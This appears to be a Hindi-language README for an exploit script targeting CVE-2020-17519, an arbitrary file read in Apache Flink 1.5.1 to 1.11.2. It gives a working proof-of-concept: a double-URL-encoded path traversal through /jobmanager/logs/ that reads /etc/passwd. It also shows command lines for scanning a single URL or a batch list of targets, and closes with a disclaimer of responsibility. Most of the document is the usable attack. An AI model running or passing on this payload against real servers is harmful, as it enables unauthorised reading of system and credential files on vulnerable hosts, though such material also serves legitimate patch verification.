CVE-2020-17519-Apache-Flink

CVE-2020-17519 Apache Flink मनमानी फ़ाइल पढ़ना

प्रभावित संस्करण

Apache Flink 1.5.1 ~ 1.11.2

POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

स्क्रिप्ट उपयोग विधि

python3 CVE-2020-17519 --help उपयोग सहायता देखें

python3 CVE-2020-17519 -u http://127.0.0.1:8080 किसी पते में भेद्यता मौजूद है या नहीं, इसकी जाँच करें

python3 CVE-2020-17519 -f target.txt बैच में भेद्यता जाँच करें

अस्वीकरण

इस दस्तावेज़ में दी गई जानकारी के प्रसार या उपयोग से उत्पन्न होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और हानि के लिए उपयोगकर्ता स्वयं जिम्मेदार है; लेखक इसके लिए कोई जिम्मेदारी नहीं लेता है।